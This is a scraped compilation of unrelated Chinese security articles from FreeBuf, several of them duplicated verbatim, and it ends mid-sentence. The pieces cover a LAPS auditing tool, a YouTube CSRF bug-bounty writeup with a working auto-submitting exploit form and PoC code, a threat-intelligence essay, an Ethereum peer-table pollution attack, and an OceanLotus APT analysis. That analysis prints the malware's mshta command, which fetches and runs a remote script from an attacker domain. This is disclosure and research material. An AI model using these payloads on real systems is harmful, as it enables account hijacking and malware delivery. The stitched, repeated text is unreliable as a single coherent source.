今天给大家介绍的是一款名叫LAPSToolkit的工具，广大研究人员可以利用该工具来对LAPS环境进行安全审计或渗透测试。
LAPS（Microsoft LocalAdministrator Password Solution），即本地管理员密码解决方案。是微软发布的一款用来在LDAP上存储本地管理员密码的工具。只要一切都配置正确，那么该工具使用起来将非常不错。然而，如果你没有正确地设置LDAP属性的权限，那么可能会将本地管理员凭证暴露给域内的所有用户。
LAPS使用两个LDAP属性来存储本地管理员凭证，这两个属性分别是ms-MCS-AdmPwd（存储密码）和ms-MCS-AdmPwdExpirationTime（存储过期时间）。
微软建议将特定用户和组的扩展权限移动到这些属性中。这是一个不错的方法，但它正确设置起来将非常痛苦。长话短说，如果你正在使用LAPS，那么域内的某一个用户将能够读取到这些本地管理员凭证的明文信息。
然而，这并不总是用来进行特权提升，当你攻击敏感系统并进行特权提升之后，你可以使用该方法来获取一些关键信息和敏感数据。
该工具采用PowerShell开发，可以利用PowerView来对部署了微软LAPS的活动目录环境进行安全审计与渗透测试。该工具可以查询由系统管理员指定的用户组，查找具有“全部扩展权限”的用户（可查看密码），而且还可以查看全部启用了LAPS的计算机设备。
显示全部启用了LAPS和密码扩展的计算机设备。
查询所有的OU并检测哪一个活动目录组可读取ms-Mcs-AdmPwd属性。
针对每一个启用了LAPS的活动目录计算机，进行扩展权限分析，并查找哪一个用户组拥有AD读取权限，以及其中的用户是否具有“全部扩展权限”。系统管理员可能不知道哪一个具有“全部扩展权限”的用户可以查看密码，以及用户组中的哪一个用户安全等级比较低。这个功能可以针对每一个AD设备解析ACL权限，但对于范围比较大的域，解析时间会比较久。
LAPSToolkit：【点我下载】
* 参考来源：leoloobeek，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM
今天给大家介绍的是一款名叫LAPSToolkit的工具，广大研究人员可以利用该工具来对LAPS环境进行安全审计或渗透测试。
LAPS（Microsoft LocalAdministrator Password Solution），即本地管理员密码解决方案。是微软发布的一款用来在LDAP上存储本地管理员密码的工具。只要一切都配置正确，那么该工具使用起来将非常不错。然而，如果你没有正确地设置LDAP属性的权限，那么可能会将本地管理员凭证暴露给域内的所有用户。
LAPS使用两个LDAP属性来存储本地管理员凭证，这两个属性分别是ms-MCS-AdmPwd（存储密码）和ms-MCS-AdmPwdExpirationTime（存储过期时间）。
微软建议将特定用户和组的扩展权限移动到这些属性中。这是一个不错的方法，但它正确设置起来将非常痛苦。长话短说，如果你正在使用LAPS，那么域内的某一个用户将能够读取到这些本地管理员凭证的明文信息。
然而，这并不总是用来进行特权提升，当你攻击敏感系统并进行特权提升之后，你可以使用该方法来获取一些关键信息和敏感数据。
该工具采用PowerShell开发，可以利用PowerView来对部署了微软LAPS的活动目录环境进行安全审计与渗透测试。该工具可以查询由系统管理员指定的用户组，查找具有“全部扩展权限”的用户（可查看密码），而且还可以查看全部启用了LAPS的计算机设备。
显示全部启用了LAPS和密码扩展的计算机设备。
查询所有的OU并检测哪一个活动目录组可读取ms-Mcs-AdmPwd属性。
针对每一个启用了LAPS的活动目录计算机，进行扩展权限分析，并查找哪一个用户组拥有AD读取权限，以及其中的用户是否具有“全部扩展权限”。系统管理员可能不知道哪一个具有“全部扩展权限”的用户可以查看密码，以及用户组中的哪一个用户安全等级比较低。这个功能可以针对每一个AD设备解析ACL权限，但对于范围比较大的域，解析时间会比较久。
LAPSToolkit：【点我下载】
* 参考来源：leoloobeek，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM
大家好，今天分享的writeup是关于YouTube通知服务（Notification）的CSRF漏洞，作者利用该漏洞可以劫持其他YouTube用户（受害者）的通知服务，能以受害者用户身份接收到其订阅频道或视频的最新通知，漏洞最终获得Google官方$3133.7美金的奖励，以下是作者的分享。
某天晚上，我在YouTube官网上测试漏洞，看看能有什么发现，不知不觉时间已经是半夜00:30了，困累之极…..。我就随便点点打开了YouTube的通知服务（Notification），其中的POST请求引起了我的注意：
POST /notifications_ajax?action_register_device=1 HTTP/1.1 Host: www.youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://www.youtube.com/sw.js Content-Type: multipart/form-data; boundary=---------------------------41184676334 Origin: https://www.youtube.com Content-Length: 1459 Connection: close Cookie: duh, cookies! -----------------------------41184676334 Content-Disposition: form-data; name="endpoint" https://updates.push.services.mozilla.com/wpush/v1/gAAA... -----------------------------41184676334 Content-Disposition: form-data; name="device_id" dbe8453d99714c6160994fdf5bb3c59332df04278a... -----------------------------41184676334 Content-Disposition: form-data; name="p256dh_key" BBNVkVOt6tpY1KvJJqtLvqt... -----------------------------41184676334 Content-Disposition: form-data; name="auth_key" V5-_lh6nYT2zoY... -----------------------------41184676334 Content-Disposition: form-data; name="permission" granted -----------------------------41184676334--乍一看，为了防止CSRF，其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串，但仔细一分析才知道，这些所有的参数都是由其中updates.push.services.mozilla.com的Mozilla通知推送服务产生的，所以，这样初略来看，该接口上不存在CSRF漏洞。
深入分析可知，上述POST请求中的referrer字段值为“https://www.youtube.com/sw.js”，这个sw.js明显为一个服务工作线程脚本（Service Worker）。
Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面，也不需要其他交互，异步地运行在一个完全独立的上下文环境，不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能，本质上来说，Service Worker充当了Web应用程序与浏览器之间的代理。
也就是说，referrer字段中的sw.js发起了这个POST请求，以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。
到了这一步，从这些参数里，我隐约觉得这里应该会有漏洞出现，但总要构造个PoC出来试试看。因此，通过研究以上参数的生成机制，我利用sw.js原理，编写了以下三个代码文件，构建了一个本地服务端来生成其中的各个参数。
index.html：
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Push Demo</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" media="screen" href="index.css" /> <script src="index.js"></script> </head> <body> <h1>Hello World</h1> <button id="permission-btn" onclick="main()">Ask Permission</button> </body> </html> index.js： const check = () => { if (!('serviceWorker' in navigator)) { throw new Error('No Service Worker support!') } if (!('PushManager' in window)) { throw new Error('No Push API Support!') } } const registerServiceWorker = async () => { const swRegistration = await navigator.serviceWorker.register('sw.js') return swRegistration } const requestNotificationPermission = async () => { const permission = await window.Notification.requestPermission() if (permission !== 'granted') { throw new Error('Permission not granted for Notification') } } const main = async () => { check() const swRegistration = await registerServiceWorker() const permission = await requestNotificationPermission() }sw.js：
self.addEventListener('activate', async () => { console.log("Hello"); self.registration.pushManager.subscribe() .then(function(subscription) { console.log(JSON.stringify(subscription)); }) .catch(function(e) { console.log(e); }); }) self.addEventListener("push", function(event) { if (event.data) { console.log("Push event!! ", event.data.text()); showLocalNotification("Yolo", event.data.text(), self.registration); } else { console.log("Push event but no data"); } }); const showLocalNotification = (title, body, swRegistration) => { const options = { body // here you can add more properties like icon, image, vibrate, etc. }; swRegistration.showNotification(title, options); };这三个代码文件的目的在于获取sw.js请求时生成的各个参数，有了这些参数，就可以间接形成通知（Notification），打开其中的index.html页面，点击Ask Permission按钮请求通知权限，后台调用sw.js脚本，通过内置的Firefox API形成一个本地的通知服务端，通知请求提交时，我们就能获取到其中的各个参数。利用这些参数，可以进一步构造出CSRF攻击框架，就能获取到对应的通知消息。
在本地loclalhost构造这种通知请求服务端，需要用到Service Worker 服务工作线程（sw.js）的部署原理，其中涉及服务注册、激活、缓存控制和相关响应机制，具体可参考：developer.mozilla.org和developers.google.com中的详细介绍说明。
综合上述分析，基于我们之前创建的本地通知服务端，结合Youtube的通知请求提交方式，我构造了以下CSRF攻击框架：
<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf"> <input type="text" name="device_id" value="replace"> <input type="text" name="permission" value="granted"> <input type="text" name="endpoint" value="replace"> <input type="text" name="p256dh_key" value="replace="> <input type="text" name="auth_key" value="replace"> <input type="submit"> <script type="text/javascript">document.csrf.submit();</script> </form> </html>让我意想不到的是，我在其中以其他Youtube账号身份，利用获取到的各种请求参数，提交了通知请求，竟然能有效实施通知消息的CSRF攻击。也就是说，我们现在可以劫持到其他Youtube账号的消息推送接口（PUSH webhook），以其他Youtube账号身份收取到Youtube响应该账号的相关通知，这些通知可能是他订阅的某个频道或视频的更新消息，也可能是他私人视频的观众评论等，如下：
漏洞上报后，谷歌在半小时之后就给了我回复，称漏洞有效，会尽快走完验证修复流程，并会及时给我后续通知。半个多月后，谷歌回复称修复工作已经完成，漏洞按其VRP项目核定，达到$3133.70美金的奖励。
*参考来源：hackademic，clouds编译，转载请注明来自FreeBuf.COM
大家好，今天分享的writeup是关于YouTube通知服务（Notification）的CSRF漏洞，作者利用该漏洞可以劫持其他YouTube用户（受害者）的通知服务，能以受害者用户身份接收到其订阅频道或视频的最新通知，漏洞最终获得Google官方$3133.7美金的奖励，以下是作者的分享。
某天晚上，我在YouTube官网上测试漏洞，看看能有什么发现，不知不觉时间已经是半夜00:30了，困累之极…..。我就随便点点打开了YouTube的通知服务（Notification），其中的POST请求引起了我的注意：
POST /notifications_ajax?action_register_device=1 HTTP/1.1 Host: www.youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://www.youtube.com/sw.js Content-Type: multipart/form-data; boundary=---------------------------41184676334 Origin: https://www.youtube.com Content-Length: 1459 Connection: close Cookie: duh, cookies! -----------------------------41184676334 Content-Disposition: form-data; name="endpoint" https://updates.push.services.mozilla.com/wpush/v1/gAAA... -----------------------------41184676334 Content-Disposition: form-data; name="device_id" dbe8453d99714c6160994fdf5bb3c59332df04278a... -----------------------------41184676334 Content-Disposition: form-data; name="p256dh_key" BBNVkVOt6tpY1KvJJqtLvqt... -----------------------------41184676334 Content-Disposition: form-data; name="auth_key" V5-_lh6nYT2zoY... -----------------------------41184676334 Content-Disposition: form-data; name="permission" granted -----------------------------41184676334--乍一看，为了防止CSRF，其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串，但仔细一分析才知道，这些所有的参数都是由其中updates.push.services.mozilla.com的Mozilla通知推送服务产生的，所以，这样初略来看，该接口上不存在CSRF漏洞。
深入分析可知，上述POST请求中的referrer字段值为“https://www.youtube.com/sw.js”，这个sw.js明显为一个服务工作线程脚本（Service Worker）。
Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面，也不需要其他交互，异步地运行在一个完全独立的上下文环境，不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能，本质上来说，Service Worker充当了Web应用程序与浏览器之间的代理。
也就是说，referrer字段中的sw.js发起了这个POST请求，以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。
到了这一步，从这些参数里，我隐约觉得这里应该会有漏洞出现，但总要构造个PoC出来试试看。因此，通过研究以上参数的生成机制，我利用sw.js原理，编写了以下三个代码文件，构建了一个本地服务端来生成其中的各个参数。
index.html：
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Push Demo</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" media="screen" href="index.css" /> <script src="index.js"></script> </head> <body> <h1>Hello World</h1> <button id="permission-btn" onclick="main()">Ask Permission</button> </body> </html> index.js： const check = () => { if (!('serviceWorker' in navigator)) { throw new Error('No Service Worker support!') } if (!('PushManager' in window)) { throw new Error('No Push API Support!') } } const registerServiceWorker = async () => { const swRegistration = await navigator.serviceWorker.register('sw.js') return swRegistration } const requestNotificationPermission = async () => { const permission = await window.Notification.requestPermission() if (permission !== 'granted') { throw new Error('Permission not granted for Notification') } } const main = async () => { check() const swRegistration = await registerServiceWorker() const permission = await requestNotificationPermission() }sw.js：
self.addEventListener('activate', async () => { console.log("Hello"); self.registration.pushManager.subscribe() .then(function(subscription) { console.log(JSON.stringify(subscription)); }) .catch(function(e) { console.log(e); }); }) self.addEventListener("push", function(event) { if (event.data) { console.log("Push event!! ", event.data.text()); showLocalNotification("Yolo", event.data.text(), self.registration); } else { console.log("Push event but no data"); } }); const showLocalNotification = (title, body, swRegistration) => { const options = { body // here you can add more properties like icon, image, vibrate, etc. }; swRegistration.showNotification(title, options); };这三个代码文件的目的在于获取sw.js请求时生成的各个参数，有了这些参数，就可以间接形成通知（Notification），打开其中的index.html页面，点击Ask Permission按钮请求通知权限，后台调用sw.js脚本，通过内置的Firefox API形成一个本地的通知服务端，通知请求提交时，我们就能获取到其中的各个参数。利用这些参数，可以进一步构造出CSRF攻击框架，就能获取到对应的通知消息。
在本地loclalhost构造这种通知请求服务端，需要用到Service Worker 服务工作线程（sw.js）的部署原理，其中涉及服务注册、激活、缓存控制和相关响应机制，具体可参考：developer.mozilla.org和developers.google.com中的详细介绍说明。
综合上述分析，基于我们之前创建的本地通知服务端，结合Youtube的通知请求提交方式，我构造了以下CSRF攻击框架：
<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf"> <input type="text" name="device_id" value="replace"> <input type="text" name="permission" value="granted"> <input type="text" name="endpoint" value="replace"> <input type="text" name="p256dh_key" value="replace="> <input type="text" name="auth_key" value="replace"> <input type="submit"> <script type="text/javascript">document.csrf.submit();</script> </form> </html>让我意想不到的是，我在其中以其他Youtube账号身份，利用获取到的各种请求参数，提交了通知请求，竟然能有效实施通知消息的CSRF攻击。也就是说，我们现在可以劫持到其他Youtube账号的消息推送接口（PUSH webhook），以其他Youtube账号身份收取到Youtube响应该账号的相关通知，这些通知可能是他订阅的某个频道或视频的更新消息，也可能是他私人视频的观众评论等，如下：
漏洞上报后，谷歌在半小时之后就给了我回复，称漏洞有效，会尽快走完验证修复流程，并会及时给我后续通知。半个多月后，谷歌回复称修复工作已经完成，漏洞按其VRP项目核定，达到$3133.70美金的奖励。
*参考来源：hackademic，clouds编译，转载请注明来自FreeBuf.COM
在态势感知火热、威胁情报赚足眼球的今天，这两个信息安全领域当红小生发生碰撞，会产生怎样的火花呢？下面我根据手头上的项目，介绍一种威胁情报在态势感知系统中的落地方案，为大家提供一种思路。
简单的来说，态势感知系统是对网络环境安全态势的评估，评估当前态势的同时，对未来态势做出预测。一定程度上，可以看做是威胁评估和攻击预测的结合。在结构上，典型态势感知系统包括态势要素获取、态势评估、态势预测三部分。态势要素获取为态势理解提供源数据，态势理解又维态势预测提供依据。在一个完整的态势感知系统中，我们能得到两个结果，一个是当前网络安全态势，另一个就是未来安全态势的变化趋势，也就是态势预测的结果。
威胁情报是一种描述网络安全事件的数据集合，详细描述了安全事件的组成要素，包括攻击源信息、受害者信息、发动攻击利用的工具，还有在APT中常说的TTP，即战术，技术和过程（Techniques Tactics Procedures）。
搞安全的都见过威胁情报这四个字，威胁情报有百般好，那么这个好东西到底能带来什么呢？APT，0day的影响和危害大家都有所耳闻，甚至是有目共睹。威胁情报在处理APT方面还是很有优势的，APT的攻击阶段更加明显，持续时间长，隐蔽性高，并且潜伏时间长，所以对威胁检测提出了更高的要求。但是在这个长时间的攻击链上，一旦前期检测到威胁，那么采取针对性的响应，还是可以减小损害的。
上图就是攻击链模型，绿色框表明攻击没有造成实质性危害的阶段，我们的目标就是努力在这个阶段发现并解除威胁。APT发起方是有组织、有预谋的，同一组织发起的攻击行动会在某些行为上存在相似性，尤其在针对同一领域的攻击活动。
威胁情报具有大量的安全事件信息，利用其多维数据，可以提高安全事件的效率和攻击检测率。另外，威胁情报有很强的更新能力，威胁情报提供商会对威胁情报进行更新，提供最新的安全事件数据，而且通过威胁情报共享机制，相同领域的组织和机构可以得到针对性的威胁情报。所以正是威胁情报中的大数据和其自身的更新能力，让我们对其爱不释手。
威胁情报的获取方式：不同机构有着不同的安全诉求，这种不同可以表现在威胁发起者针对不同类型的组织机构有不同的目的，不同的网络架构也会导致攻击策略的改变。另外，利用威胁情报的目的不同也会导致威胁情报的类型不同。目前来看，威胁情报订购和威胁情报共享是比较靠谱的方式。所以最重要的是首先考虑好自身需求和使用威胁情报的目的。本文在此重点介绍使用威胁情报的普适性方案，不再详细赘述威胁情报的类型等具体问题。
威胁情报的处理：上文提到，威胁情报具有大量的安全事件信息，那么是不是所有的威胁情报都适用于我们的网络环境呢？答案很明显，所以第二个要解决的就是选取针对性的威胁情报。从而减少数据干扰，提高数据精度。
在我们的平台中，利用威胁情报来做态势预测，极力在攻击链左侧发现攻击，最大化发挥威胁情报的信息价值。没有将威胁情报用于态势评估中是因为态势评估首先要结合自身资产来做，脱离目标网络环境资产属性的态势感知和评估是毫无意义的，再者，当前主流的态势感知方法和平台比较成熟，包括IDS和SIEM系统，这些设备能为我们提供一些有价值的数据。继续回到预测的方面，目前大多数态势感知系统将态势变化趋势作为预测的结果，缺乏潜在威胁的分析，威胁情报实现策略级的预测也是威胁情报给态势感知系统带来的新变化和改进。
在具体实现中，使用了STIX格式的威胁情报，有两种威胁情报来源，一种就是订阅得到的外源威胁情报，另一种是系统内部的内源威胁情报，通过系统内部部署的检测设备得到，内源威胁情报与外源威胁情报统一成STIX格式。
首先是外源威胁情报筛选，将内源威胁情报的对象在外源威胁情报中出现的频次作为主要的筛选依据，使用优属度算法将无关的威胁情报剔除在外。需要注意的是，剔除掉的威胁情报仅表明其不适用于当前网络环境。在网络安全态势变化，或者威胁发生变化后，需要重新对当前状态进行威胁情报筛选。
在威胁情报筛选后，就到了最终的方法——预测。在方法上，利用关联分析、模式识别和机器学习的方法处理外源威胁情报得到样本库。训练的主要分析对象是威胁情报中要素之间关系，而不是单纯的要素匹配。关系表明了安全事件的来龙去脉，安全事件也是由要素间关系组成。所以，STIX的relationship正是我们的目标。下面给出一个relationship表明indicator和malware间关系的例子
这是STIX文档中的一个例子，可以说relationship丰富了malware的属性。除了表明这种“从属”关系，relationship还可以表明其他一切关系。
还是STIX文档中的东西，表中列出了部分relationship。
在威胁情报筛选之后，最主要的算法就是利用机器学习进行威胁情报分类，利用相同类别的威胁情报上下文分析潜在威胁。具体架构就是一般的机器学习方法的结构，首先是数据获取：外源威胁情报和系统内的安全事件信息；其次是数据格式处理，外源威胁情报转换成STIX格式，系统内的安全事件也利用相同格式来表达；然后就是对外源威胁情报的训练，将训练的结果用于安全事件的分类；最后就是结果的输出和可视化。大致结构如下：
本文介绍了一种威胁情报应用在态势感知系统中的可行性方法。着重介绍了两个值得注意的问题，也是实施威胁情报过程中必须解决的问题：
1. 威胁情报适用性。
2. 威胁情报中要素关系的重要性。
希望介绍的方法能给大家提供参考，欢迎大家交流其他思路和建议。
*本文作者：yisoso，转载请注明来自FreeBuf.COM
在态势感知火热、威胁情报赚足眼球的今天，这两个信息安全领域当红小生发生碰撞，会产生怎样的火花呢？下面我根据手头上的项目，介绍一种威胁情报在态势感知系统中的落地方案，为大家提供一种思路。
简单的来说，态势感知系统是对网络环境安全态势的评估，评估当前态势的同时，对未来态势做出预测。一定程度上，可以看做是威胁评估和攻击预测的结合。在结构上，典型态势感知系统包括态势要素获取、态势评估、态势预测三部分。态势要素获取为态势理解提供源数据，态势理解又维态势预测提供依据。在一个完整的态势感知系统中，我们能得到两个结果，一个是当前网络安全态势，另一个就是未来安全态势的变化趋势，也就是态势预测的结果。
威胁情报是一种描述网络安全事件的数据集合，详细描述了安全事件的组成要素，包括攻击源信息、受害者信息、发动攻击利用的工具，还有在APT中常说的TTP，即战术，技术和过程（Techniques Tactics Procedures）。
搞安全的都见过威胁情报这四个字，威胁情报有百般好，那么这个好东西到底能带来什么呢？APT，0day的影响和危害大家都有所耳闻，甚至是有目共睹。威胁情报在处理APT方面还是很有优势的，APT的攻击阶段更加明显，持续时间长，隐蔽性高，并且潜伏时间长，所以对威胁检测提出了更高的要求。但是在这个长时间的攻击链上，一旦前期检测到威胁，那么采取针对性的响应，还是可以减小损害的。
上图就是攻击链模型，绿色框表明攻击没有造成实质性危害的阶段，我们的目标就是努力在这个阶段发现并解除威胁。APT发起方是有组织、有预谋的，同一组织发起的攻击行动会在某些行为上存在相似性，尤其在针对同一领域的攻击活动。
威胁情报具有大量的安全事件信息，利用其多维数据，可以提高安全事件的效率和攻击检测率。另外，威胁情报有很强的更新能力，威胁情报提供商会对威胁情报进行更新，提供最新的安全事件数据，而且通过威胁情报共享机制，相同领域的组织和机构可以得到针对性的威胁情报。所以正是威胁情报中的大数据和其自身的更新能力，让我们对其爱不释手。
威胁情报的获取方式：不同机构有着不同的安全诉求，这种不同可以表现在威胁发起者针对不同类型的组织机构有不同的目的，不同的网络架构也会导致攻击策略的改变。另外，利用威胁情报的目的不同也会导致威胁情报的类型不同。目前来看，威胁情报订购和威胁情报共享是比较靠谱的方式。所以最重要的是首先考虑好自身需求和使用威胁情报的目的。本文在此重点介绍使用威胁情报的普适性方案，不再详细赘述威胁情报的类型等具体问题。
威胁情报的处理：上文提到，威胁情报具有大量的安全事件信息，那么是不是所有的威胁情报都适用于我们的网络环境呢？答案很明显，所以第二个要解决的就是选取针对性的威胁情报。从而减少数据干扰，提高数据精度。
在我们的平台中，利用威胁情报来做态势预测，极力在攻击链左侧发现攻击，最大化发挥威胁情报的信息价值。没有将威胁情报用于态势评估中是因为态势评估首先要结合自身资产来做，脱离目标网络环境资产属性的态势感知和评估是毫无意义的，再者，当前主流的态势感知方法和平台比较成熟，包括IDS和SIEM系统，这些设备能为我们提供一些有价值的数据。继续回到预测的方面，目前大多数态势感知系统将态势变化趋势作为预测的结果，缺乏潜在威胁的分析，威胁情报实现策略级的预测也是威胁情报给态势感知系统带来的新变化和改进。
在具体实现中，使用了STIX格式的威胁情报，有两种威胁情报来源，一种就是订阅得到的外源威胁情报，另一种是系统内部的内源威胁情报，通过系统内部部署的检测设备得到，内源威胁情报与外源威胁情报统一成STIX格式。
首先是外源威胁情报筛选，将内源威胁情报的对象在外源威胁情报中出现的频次作为主要的筛选依据，使用优属度算法将无关的威胁情报剔除在外。需要注意的是，剔除掉的威胁情报仅表明其不适用于当前网络环境。在网络安全态势变化，或者威胁发生变化后，需要重新对当前状态进行威胁情报筛选。
在威胁情报筛选后，就到了最终的方法——预测。在方法上，利用关联分析、模式识别和机器学习的方法处理外源威胁情报得到样本库。训练的主要分析对象是威胁情报中要素之间关系，而不是单纯的要素匹配。关系表明了安全事件的来龙去脉，安全事件也是由要素间关系组成。所以，STIX的relationship正是我们的目标。下面给出一个relationship表明indicator和malware间关系的例子
这是STIX文档中的一个例子，可以说relationship丰富了malware的属性。除了表明这种“从属”关系，relationship还可以表明其他一切关系。
还是STIX文档中的东西，表中列出了部分relationship。
在威胁情报筛选之后，最主要的算法就是利用机器学习进行威胁情报分类，利用相同类别的威胁情报上下文分析潜在威胁。具体架构就是一般的机器学习方法的结构，首先是数据获取：外源威胁情报和系统内的安全事件信息；其次是数据格式处理，外源威胁情报转换成STIX格式，系统内的安全事件也利用相同格式来表达；然后就是对外源威胁情报的训练，将训练的结果用于安全事件的分类；最后就是结果的输出和可视化。大致结构如下：
本文介绍了一种威胁情报应用在态势感知系统中的可行性方法。着重介绍了两个值得注意的问题，也是实施威胁情报过程中必须解决的问题：
1. 威胁情报适用性。
2. 威胁情报中要素关系的重要性。
希望介绍的方法能给大家提供参考，欢迎大家交流其他思路和建议。
*本文作者：yisoso，转载请注明来自FreeBuf.COM
当我们谈论区块链时，总是离不开这些技术：分布式存储、P2P网络和共识机制，本次我们要谈的问题就是出现在P2P对等网络协议上。
异形攻击实际上是一个所有公链都可能面临的问题，我们用以太坊为例子说明。以太坊的P2P网络主要采用了Kademlia (简称 Kad )算法实现，Kad是一种分布式哈希表(DHT)技术，使用该技术，可以实现在分布式环境下快速而又准确地路由、定位数据的问题。
首先，我们先定义一个同类链的概念，是指使用了和其它区块链相同或兼容协议的区块链系统。
异形攻击又称地址池污染，是指诱使同类链的节点互相侵入和污染的一种攻击手法，漏洞的主要原因是同类链系统在通信协议上没有对非同类节点做识别。
以太坊异形攻击是指，以太坊同类链（具体的说是使用以太坊P2P discv4节点发现协议的公链，包括以太坊、以太经典）由于使用了兼容的握手协议，无法区分节点是否属于同个链，导致地址池互相污染，节点通信性能下降，最终造成节点阻塞的一种攻击方式。
以太坊同类链节点间通过4个UDP通信协议来完成节点发现，消息结构如下：
[1]ping：探测一个节点是否在线
[2]pong：响应Ping命令
[3]findnode：查找与Target节点异或距离最近的其他节点
[4]neighbors：响应FindNode命令，会返回一或多个节点 
准备工作：收集以太坊节点地址
我们找到了社区制作的一个地址库：https://github.com/smartheye/EthStaticNodesTool/blob/master/MainNet/static-nodes.txt
第一步：发起恶意握手
攻击者A模拟整个握手过程，主动发起ping操作，并利用协议的第4步neighbors，将返回的邻居表修改成我们收集到的以太坊节点地址，推送给受害节点B（B 是一个以太坊同类链节点）。由于单次通信只能推送16个地址，我们需要多次推送以达到攻击效果。
第二步：污染地址池
B收到大量A返回的邻居表，尝试跟这些节点握手，并将这些节点加入了自己的地址池（俗称K桶）。
第三步：污染自动扩散
让人意外的是，不同链的节点居然互相握手成功了，更为可怕的是，它们把各自地址池里已知的节点推送给了对方，导致更多的节点互相污染，最终扩散致整个网络。
1.受异形攻击的同类链节点无法找到真正可用的节点，无法建立TCP数据同步通道，导致节点被攻击离线。
2.对于矿池或者出块节点，异形攻击可能导致广播延迟甚至失败，造成收益损失。
3.异形攻击可以使所有以太坊同类链地址池相互污染，导致节点通信效率全面下降，对整个区块链系统造成长久的伤害。
我们对知名公链QuarkChain进行安全审计时发现，QuarkChain的节点在遭受异形攻击后，节点性能严重下降，外部节点需要很长时间才能与受害节点建立连接。QuarkChain团队随后修复了该问题。
理论上所有使用了以太坊discv4协议的区块链都可能受此漏洞影响，在发起测试后的一段时间，我们观测到EtherNode的监测节点也已经被污染了，污染的扩散速度似乎比想象中的要快。
也许，以太坊需要来一次清洗。
1.此漏洞对以太坊是否有影响？
以太坊的节点数量远大于其它同类链节点，并且节点间已经建立了稳定的连接，影响不明显。但对于其它的同类链节点，却会受到来自以太坊节点的强势侵入，导致通信阻塞。
2.很多朋友关心除了以太坊之外，其它的公链是否有此问题，比如比特币和它的山寨币，比如使用了libp2p 协议的公链，这些问题我们将在后续文章中披露！
十分感谢QuarkChain团队大力协助本次测试！
*本文作者：SlowMist慢雾科技，转载请注明来自FreeBuf.COM
“海莲花”（又名APT32、OceanLotus），被认为是来自越南的APT攻击组织，自2012年活跃以来，一直针对中国的敏感目标进行攻击活动，是近几年来针对中国大陆进行攻击活动的最活跃的APT攻击组织之一。
在2019年第一季度，腾讯御见威胁情报中心持续的检测到该组织针对中国大陆的政府、海事机构、商务部门、研究机构的攻击活动。此外该组织还在不断的更新他们的攻击武器库，无论是钓鱼的诱饵形式、payload的加载、横向移动等。尤其值得注意的是，我们发现该组织针对不同的机器下发不同的恶意模块，使得即便恶意文件被安全厂商捕捉到，也因为无相关机器特征而无法解密最终的payload，无法知晓后续的相关活动。
活动钻石模型如下：
恶意文件投递的方式依然是最常用的鱼叉攻击的方式，钓鱼关键字包括”干部培训”，”绩效”，”工作方向”，”纪检监察”等，相关的邮件如下：
除此该次攻击还新增了敏感内容的主题，用户吸引被攻击者打开，如敏感图片：
2019年一季度投递的恶意诱饵类型众多，包括白加黑、lnk、doc文档、带有WinRARACE（CVE-2018-20250）漏洞的压缩包等。
1） 白加黑
2） 恶意lnk
3） 带有宏的恶意doc文档
4） 带有WinRAR ACE（CVE-2018-20250）漏洞的压缩包：
1） 恶意lnk分析
在1月的一波攻击中，该组织会在所有的投递的压缩包里，都存放一个恶意的lnk，但是所有的lnk文件都类似（执行的地址不能，但是内容一致）。lnk文件的图标伪装成word图标。值得注意的是，该lnk的图标会从网络获取，因此如果远程服务器已经关闭，会导致该lnk无图标的现象。此外，还会造成即便不双击lnk，只要打开lnk所在的目录，就会出现网络连接的现象。
该现象的原因是：explorer解析lnk的时候会去解析图标，而这个lnk配置的图标在网络上，因此会自动去下载，但只是下载，不会执行，看一眼不运行lnk文件的话，会泄漏自身ip地址，但不会导致电脑中木马。
双击运行lnk后，会执行下列命令：
C:/Windows/SysWOW64/mshta.exehttp://api.baidu-json.com/feed/news.html其中， news.html实际为一个vbs脚本文件：
mstha执行此脚本本后会解密脚本中存储的内容，并存储到%temp%目录下，文件名分别为：
7b95ffab-3a9c-494a-a584-9c48dc7aa6a7.tmp
7b95ffab-3a9c-494a-a584-9c48dc7aa6a7.exe
7b95ffab-3a9c-494a-a584-9c48dc7aa6a7.log
7b95ffab-3a9c-494a-a584-9c48dc7aa6a7.env
解密算法如下所示：
接着调用系统自带的odbcconf.exe，将7b95ffab-3a9c-494a-a584-9c48dc7aa6a7.tmp（dll文件）给加载起来。最后调用taskkill.exe，结束mshta.exe进程：
但是奇怪的是，由于解密算法的问题，导致最终的解密失败，因此执行该lnk，用户实际并不会中招：
从而我们猜测该方式可能还处于测试阶段，或者作者由于疏忽导致。不过在后续的攻击活动中，我们未再次检测到该攻击方式。
2） 带有宏的doc文档
带有宏的文档的投递，是该组织比较常用的恶意诱饵，如：
此外，Twitter上也有不少安全同仁曝光过该组织的该方式的诱饵：
此外疑似作者还在VT上跟相关研究员互动：
当然，我们更相信该用户可能只是安全研究员之间的一个玩笑。
执行宏后，首先会复制原始文档到%temp%下，命名为随机名文件：
然后解密出一个新的VBA宏：
接着设置注册表
”HKEY_CURRENT_USER/Software/Microsoft/Office/12.0/Word/Security/AccessVBOM”的值为1：
